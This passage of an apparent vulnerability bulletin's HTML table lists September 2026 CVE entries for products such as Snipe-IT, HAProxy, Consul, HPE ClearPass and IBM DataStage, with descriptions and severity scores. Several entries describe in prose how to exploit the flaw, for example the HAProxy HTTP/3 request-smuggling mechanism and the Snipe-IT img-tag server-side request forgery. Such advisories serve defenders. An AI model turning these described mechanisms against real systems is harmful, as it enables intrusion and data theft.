&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86754&quot; target=&quot;_blank&quot;&gt;CVE-2026-86754&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 fail to authorize the POST /hardware/history endpoint, allowing any authenticated user to reassign arbitrary assets and modify audit logs. Attackers can submit a CSV file to reassign assets across companies and inject fraudulent audit trail entries, compromising inventory integrity and accountability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86759&quot; target=&quot;_blank&quot;&gt;CVE-2026-86759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions before 8.7.0 fail to HTML-escape the employee_num field in the acceptance PDF generator, allowing attackers with users.edit permission to inject img tags into TCPDF&#039;s writeHTML() function. Attackers can craft a malicious employee_num value containing an img tag with an arbitrary HTTP(S) URL to trigger server-side requests to internal services, cloud metadata endpoints, or external targets when a victim signs an asset acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86771&quot; target=&quot;_blank&quot;&gt;CVE-2026-86771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HAProxy--HAProxy&lt;/td&gt;
&lt;td&gt;An issue was discovered in HAProxy 3.3.0 through 3.4.4 and in 3.5-dev1 through 3.5-dev5. Exploitation requires an HTTP/3 frontend: HAProxy must be built with QUIC support and configured with a QUIC bind listener, and the affected traffic must reach a backend over HTTP/1.1 using chunked transfer coding on a reused connection. Under those conditions, when an HTTP/3 request carries no Content-Length header, the HTTP/3 multiplexer credits the length declared in a DATA frame header to the stream endpoint&#039;s known-input-payload estimate at the moment the frame header is decoded, before the payload has been received, and that declared length is emitted verbatim as the HTTP/1.1 chunk size. A remote unauthenticated client that declares more payload than it delivers and then ends the stream causes HAProxy to announce a chunk larger than the bytes it writes and to return the connection to the idle pool in a desynchronized state. The result is potential HTTP request smuggling on reused backend connections: an attacker can place a request past a frontend rule such as a path-based http-request deny, so that the smuggled request is never seen by HAProxy&#039;s HTTP analysis, and can cause concurrent clients&#039; requests, including their request lines and Authorization headers, to be consumed as the attacker&#039;s request body and lost. Exploitation is not deterministic; it depends on a race with backend connection pooling, succeeding in a majority of but not all trials during testing, and can be retried freely. The mechanism was introduced in 3.3-dev10; releases 3.2.x and earlier are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90678&quot; target=&quot;_blank&quot;&gt;CVE-2026-90678&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HashiCorp--Consul&lt;/td&gt;
&lt;td&gt;Consul and Consul Enterprise are vulnerable to an authorization bypass in the catalog node-write path that may allow an authenticated attacker to delete another node&#039;s catalog registration and take over its node identity. An attacker with a token granting node-write permission on any single node name may exploit this issue if they can obtain the node ID of a node they do not control. This vulnerability (CVE-2026-87090) is fixed in Consul 2.0.4 and Consul Enterprise 1.21.18, 1.22.12 and 2.0.4.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87090&quot; target=&quot;_blank&quot;&gt;CVE-2026-87090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HashiCorp--Consul&lt;/td&gt;
&lt;td&gt;Consul and Consul Enterprise are vulnerable to an authorization bypass in the Connect service mesh that may allow a service to reach a destination it is not authorized to access. When building Envoy RBAC rules to enforce Connect intentions, Consul did not correctly escape certain characters in service names, namespaces, and partitions, causing the generated authorization rules to match more broadly than intended. This vulnerability (CVE-2026-88021) is fixed in Consul 2.0.4 and Consul Enterprise 1.21.18, 1.22.12 and 2.0.4.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88021&quot; target=&quot;_blank&quot;&gt;CVE-2026-88021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HashiCorp--Tooling&lt;/td&gt;
&lt;td&gt;The consul-template library is vulnerable to an information disclosure issue in its error handling path that may allow Vault secret values to appear in template error messages, log output, and downstream surfaces such as Nomad task events. This vulnerability (CVE-2026-87993) is fixed in consul-template 0.43.0.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87993&quot; target=&quot;_blank&quot;&gt;CVE-2026-87993&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;headroomlabs-ai--headroom&lt;/td&gt;
&lt;td&gt;Headroom compresses data before the data reaches a large language model. Prior to version 0.35.0, the Headroom WebSocket server does not validate the `Origin` header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the `OPENAI_API_KEY` environment variable. Version 0.35.0 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71416&quot; target=&quot;_blank&quot;&gt;CVE-2026-71416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ClearPass Policy Manager (CPPM)&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of vulnerable CPPM systems could allow an authenticated remote attacker to achieve remote code execution. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73769&quot; target=&quot;_blank&quot;&gt;CVE-2026-73769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ClearPass Policy Manager (CPPM)&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of CPPM could allow an unauthenticated remote attacker to conduct a Denial-of-Service (DoS) attack. Successful exploitation could allow an attacker to cause instability and degrade performance of the vulnerable CPPM server.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73786&quot; target=&quot;_blank&quot;&gt;CVE-2026-73786&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise (HPE)--ClearPass Policy Manager (CPPM)&lt;/td&gt;
&lt;td&gt;A vulnerability in the CPPM web interface could allow an authenticated remote attacker to access directory information on a vulnerable system. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73787&quot; target=&quot;_blank&quot;&gt;CVE-2026-73787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise--HPE IceWall products&lt;/td&gt;
&lt;td&gt;A potential security vulnerability in HPE IceWall products could be exploited to tamper SAML response, allowing an attacker to impersonate another user.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73784&quot; target=&quot;_blank&quot;&gt;CVE-2026-73784&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hewlett Packard Enterprise--HPE IceWall products&lt;/td&gt;
&lt;td&gt;A potential security vulnerability in HPE IceWall Federation Agent and Proxy could allow a remote unauthenticated attacker to cause a denial of service (DoS).&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73785&quot; target=&quot;_blank&quot;&gt;CVE-2026-73785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hikvision--HikCentral Access Control&lt;/td&gt;
&lt;td&gt;There is an Vulnerability in some HikCentral Access Control versions. Authenticated low-privilege users can invoke API interfaces that their role is not authorized to access.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85545&quot; target=&quot;_blank&quot;&gt;CVE-2026-85545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hitachi--Cosminexus Component Container&lt;/td&gt;
&lt;td&gt;Deserialization of untrusted data vulnerability in Cosminexus Component Container. This issue affects Cosminexus Component Container: from 11-70-01 before 11-70-03, from 11-60 before 11-60-03, from 11-50 through 11-50-03, from 11-40 through 11-40-03, from 11-30 through 11-30-08, from 11-20 before 11-20-10, from 11-10 through 11-10-11, from 11-00 before 11-00-13, from 09-87 before 09-87-10, from 09-80 before 09-80-05, from 09-70 before 09-70-28, from 09-50 through 09-50-22, and from 09-00 through 09-00-18.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71374&quot; target=&quot;_blank&quot;&gt;CVE-2026-71374&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hitachi--Cosminexus Component Container&lt;/td&gt;
&lt;td&gt;OS command injection vulnerability in Cosminexus Component Container. This issue affects Cosminexus Component Container: from 11-70-01 before 11-70-03, from 11-60 before 11-60-03, from 11-50 through 11-50-03, from 11-40 through 11-40-03, from 11-30 through 11-30-08, from 11-20 before 11-20-10, from 11-10 through 11-10-11, from 11-00 before 11-00-13, from 09-87 before 09-87-10, from 09-80 before 09-80-05, from 09-70 before 09-70-28, from 09-50 through 09-50-22, and from 09-00 through 09-00-18.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71376&quot; target=&quot;_blank&quot;&gt;CVE-2026-71376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hitachi--Cosminexus Component Container&lt;/td&gt;
&lt;td&gt;Command Argument Injection Vulnerability in Cosminexus Component Container. This issue affects Cosminexus Component Container: from 11-70-01 before 11-70-03, from 11-60 before 11-60-03, from 11-50 through 11-50-03, from 11-40 through 11-40-03, from 11-30 through 11-30-08, from 11-20 before 11-20-10, from 11-10 through 11-10-11, from 11-00 through 11-00-12, from 09-87 before 09-87-10, from 09-80 through 09-80-04, from 09-70 before 09-70-28, from 09-50 through 09-50-22, and from 09-00 through 09-00-18.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71377&quot; target=&quot;_blank&quot;&gt;CVE-2026-71377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hitachi--Cosminexus Component Container&lt;/td&gt;
&lt;td&gt;Improper restriction of XML external entity reference vulnerability in Cosminexus Component Container. This issue affects Cosminexus Component Container: from 11-70-01 before 11-70-03, from 11-60 before 11-60-03, from 11-50 through 11-50-03, from 11-40 through 11-40-03, from 11-30 through 11-30-08, from 11-20 before 11-20-10, from 11-10 through 11-10-11, from 11-00 before 11-00-13, from 09-87 before 09-87-10, from 09-80 before 09-80-05, from 09-70 before 09-70-28, from 09-50 through 09-50-22, and from 09-00 through 09-00-18.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71375&quot; target=&quot;_blank&quot;&gt;CVE-2026-71375&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Hoo Companion--Hoo Companion&lt;/td&gt;
&lt;td&gt;The Hoo Companion WordPress plugin 1.0.2 does not have any authorisation or validation checks in one of its import features, and does not sanitise the data submitted to it before storing it as the active theme&#039;s settings, allowing unauthenticated attackers to inject arbitrary web scripts which will execute for anyone viewing the site, including administrators. The same request destroys the site&#039;s existing theme settings.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85129&quot; target=&quot;_blank&quot;&gt;CVE-2026-85129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Howyar--WeenyGenius&lt;/td&gt;
&lt;td&gt;WeenyGenius, a computer lab management system developed by Howyar Technologies, has a Missing Authentication vulnerability. Unauthenticated attackers on the same network can easily spoof student or teacher endpoints. Impersonating a student can disrupt normal classroom operations, whereas impersonating a teacher can induce student computers to initiate connections, thereby gaining remote control over the student endpoints.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89176&quot; target=&quot;_blank&quot;&gt;CVE-2026-89176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Howyar--WeenyGenius&lt;/td&gt;
&lt;td&gt;WeenyGenius, a computer lab management system by Howyar Technologies, has a Use of Insecure Protocol vulnerability. Due to the reliance on ZMTP Null mode, unauthenticated attackers on the same network can capture packets to leak transmitted data, or perform replay attacks with forged commands to disrupt classroom operations.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89177&quot; target=&quot;_blank&quot;&gt;CVE-2026-89177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Howyar--WeenyGenius&lt;/td&gt;
&lt;td&gt;WeenyGenius, a computer lab management system by Howyar Technologies, has an Origin Validation Error vulnerability. Unauthenticated attackers on the same network can spoof the teacher workstation and send broadcast packets, causing student computers to attempt to establish a connection with the attacker.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89178&quot; target=&quot;_blank&quot;&gt;CVE-2026-89178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;Permission control vulnerability in the event notification module. Impact: Successful exploitation of this vulnerability may affect service confidentiality.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49310&quot; target=&quot;_blank&quot;&gt;CVE-2026-49310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;OOB write vulnerability in the rendering and composition module. Impact: Successful exploitation of this vulnerability may affect availability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49314&quot; target=&quot;_blank&quot;&gt;CVE-2026-49314&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Huawei--HarmonyOS&lt;/td&gt;
&lt;td&gt;DoS vulnerability in the input device module. Impact: Successful exploitation of this vulnerability may affect availability.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49315&quot; target=&quot;_blank&quot;&gt;CVE-2026-49315&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--App Connect Enterprise&lt;/td&gt;
&lt;td&gt;IBM App Connect Enterprise 13.0.1.0 through 13.0.8.1, and 12.0.1.0 through 12.0.12.27 could allow a remote authenticated attacker to bypass security restrictions due to incorrect authorization.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75624&quot; target=&quot;_blank&quot;&gt;CVE-2026-75624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Aspera Enterprise WebApps&lt;/td&gt;
&lt;td&gt;IBM Aspera Enterprise WebApps 1.0.0 through 1.0.5 could allow a local attacker to escape container protections due to unrestricted system calls being permitted within the container.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75777&quot; target=&quot;_blank&quot;&gt;CVE-2026-75777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Common Licensing&lt;/td&gt;
&lt;td&gt;IBM Common Licensing Agent 9.0, Agent 9.0.0.1, Agent 9.0.0.2, ART 9.0, ART 9.0.0.1, and ART 9.0.0.2 could allow a remote attacker to redirect users to an arbitrary domain due to improper validation of the HTTP Host header.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19646&quot; target=&quot;_blank&quot;&gt;CVE-2026-19646&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--ContextForge MCP Gateway&lt;/td&gt;
&lt;td&gt;IBM ContextForge MCP Gateway 1.0.0 through 1.0.7 could allow a remote attacker to gain administrative access due to the use of default credentials.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78573&quot; target=&quot;_blank&quot;&gt;CVE-2026-78573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to create arbitrary files due to path traversal during archive extraction.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80424&quot; target=&quot;_blank&quot;&gt;CVE-2026-80424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to a path traversal vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82100&quot; target=&quot;_blank&quot;&gt;CVE-2026-82100&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information and bypass security restrictions due to improper authentication.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82107&quot; target=&quot;_blank&quot;&gt;CVE-2026-82107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to improper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80378&quot; target=&quot;_blank&quot;&gt;CVE-2026-80378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service by deleting arbitrary RabbitMQ queues or exchanges due to improper authorization.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80436&quot; target=&quot;_blank&quot;&gt;CVE-2026-80436&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 allows any authenticated tenant - with no project membership or role - fully controls scheme/host/port/path of an outbound fetch originating from a shared-infrastructure pod, and the WSDL body is reflected verbatim to the caller. The ds-canvas pod sits on the OpenShift overlay with reach to co-tenant services, in-cluster CP4D APIs, and link-local addresses. Scope is Changed, confidentiality High (response-reflecting), integrity Low (GET-only side-effects).&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81207&quot; target=&quot;_blank&quot;&gt;CVE-2026-81207&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to overwrite ruleset files belonging to other tenants due to a path traversal vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81540&quot; target=&quot;_blank&quot;&gt;CVE-2026-81540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81550&quot; target=&quot;_blank&quot;&gt;CVE-2026-81550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to arbitrarily write to or delete files on shared storage due to a path traversal vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81551&quot; target=&quot;_blank&quot;&gt;CVE-2026-81551&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an absolute-path traversal vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81554&quot; target=&quot;_blank&quot;&gt;CVE-2026-81554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to obtain sensitive information due to an absolute-path traversal vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82092&quot; target=&quot;_blank&quot;&gt;CVE-2026-82092&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82095&quot; target=&quot;_blank&quot;&gt;CVE-2026-82095&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary code due to a Server-Side Request Forgery (SSRF) vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82097&quot; target=&quot;_blank&quot;&gt;CVE-2026-82097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--DataStage on Cloud Pak for Data&lt;/td&gt;
&lt;td&gt;IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
